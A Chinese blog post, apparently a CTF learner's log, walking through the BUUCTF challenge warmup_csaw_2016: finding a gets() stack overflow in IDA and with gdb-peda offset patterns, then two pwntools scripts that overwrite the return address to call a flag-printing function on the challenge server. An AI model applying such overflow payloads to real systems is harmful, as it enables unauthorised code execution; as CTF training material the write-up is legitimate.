首页 > 其他分享 >记录打pwn的第二天

记录打pwn的第二天

时间:2023-01-25 23:11:29浏览次数:44  
标签:AA 函数 pwn3 记录 gdb 0x40 第二天 pwn

buuctf_pwn

1.25

warmup_csaw_2016

法一:

用file命令查看文件

image

拖到ida,发现了gets(v5), v5 的长度只有 0x40,即可用栈大小只有64字节

image

和上一个题rip一样,gets()函数并没有限制输入,利用gets函数栈溢出。按Shift + F12,看一下字符串。

image

发现cat flag.txt,虽然没有 /bin/sh,可以获得权限。但是这个足够拿到flag了。双击进去,发现在sub_40060D这个函数里面。

image

查看这个函数,就是想要的 system(“cat flag.txt”)

image

且sub_40060D()函数的起始地址为0x40060D。

点击main函数中gets存放输入数据的变量v5,查看其地址和空间大小。

image

可见其空间大小为40字节,s到r是存放rip地址。r就是存返回地址并进行返回。

v5大小为0x40,s到r有0x8,也就是需要注入(0x40 + 0x8)字节的数据,并在最后输入地址运行想要运行的函数。

exp:

from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 26694)
payload = b'a'*(0x40 + 0x8) + p64(0x40060D)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互

image

法二:

对其进行 gdb调试,得到偏移量。

─ gdb pwn3      
GNU gdb (GDB) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from pwn3...
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in pwn3)
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /home/vconlln/Desktop/buupwn/testpwn/pwn3 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
-Warm Up-
WOW:0x40060d
>AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffda30 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RBX: 0x7fffffffdb88 --> 0x7fffffffdf6d ("/home/vconlln/Desktop/buupwn/testpwn/pwn3")
RCX: 0x7ffff7f709c0 --> 0xfbad2288 
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7f72960 --> 0x0 
RBP: 0x4141334141644141 ('AAdAA3AA')

得到RBP寄存器中 'AAdAA3AA' 。往该字符串后,随便复制一串,进行偏移量计算:

gdb-peda$ pattern offset IAAeAA4AAJAAf
IAAeAA4AAJAAf found at offset: 72

image

exp:

from pwn import *

p = remote('node4.buuoj.cn', 27643)
payload = b'x' * 72 + p64(0x40060D)
p.sendline(payload)

p.interactive()

标签:AA,函数,pwn3,记录,gdb,0x40,第二天,pwn
From: https://www.cnblogs.com/vconlln/p/17067423.html

相关文章

  • SQL提取表中某列字符长度为2的所有记录
    有一个表WB,包含两列character和wb //表中数据截图如下从图中可以看出wb列的各行数据的长度是不一样的,现在我想把wb列中长度为二,即只有两个字符的所有记录给提取出来,我们......
  • C#输出SQL 2005表中所有记录!...
      主要代码如下:    //连接字符串stringstrConn="userid=sa;password=123456;initialcatalog=MyDb;Server=192.168.47.144,1433;ConnectTimeout=10";......
  • 函数指针+返回数组指针遇到的坑的记录
    在手熟函数指针时,偷懒用了前面测试返回数组指针写的函数,想着比书上更复杂可以加深理解,没想到碰上很傻的bug还想了半天。1autogetArr3()->int(*)[5]{2intarr......
  • 记录打pwn的第一天
    buuctf_pwn1.22pwn学习之路引入栈溢出引入0x01:test_your_n题目:exp:【注】nc命令详解-cshell命令为“-e”;使用/bin/sh来执行[危险]-e文件名程序在连接后执行......
  • Informer源代码学习记录之“数据集处理”
    一、源码代码核心exp_informer.py: #获取数据集处理类, 选取的数据集为'weather',数据集处理类Dataset_CustomData=data_dict[self.args.dat......
  • 记录---人生第一篇博客
    写在前面这是一篇纪念我的simplelearner开站的博客真正的大师永远怀着一颗学徒的心。正文今天是2023年农历新年的第一天,我怀着一颗赤忱的心,申请并开通了我的博客。感谢......
  • Informer源码学习记录之 "模型搭建build_model"
    一、初始化1.代码结构main_informer.py:  exp=Exp(args)#setexperimentsexp_basic.py:classExp_Informer(E......
  • 记录一次Spring事务线上异常
    Spring事务管理配置方式:XML模糊匹配,绑定事务管理注解,可对每个需要进行事务处理的方法单独配置,只需@Transactional,然后添加属性配置为简便,本文使用注解方式。Spring初始化时......
  • uni-app黑马优购项目学习记录
    uni-app黑马优购项目学习记录(上):https://ailjx.blog.csdn.net/article/details/124192676?spm=1001.2014.3001.5502uni-app黑马优购项目学习记录(下):https://ailjx.blog.csdn......
  • 记录一次python爬虫模拟登录吧
    测试网站是本人学校,费话不多说下面开始首先直接导库,过程中需要时间戳,rsa加密importrequestsimportreimporttimefromCrypto.PublicKeyimportRSAfromCrypto.Ci......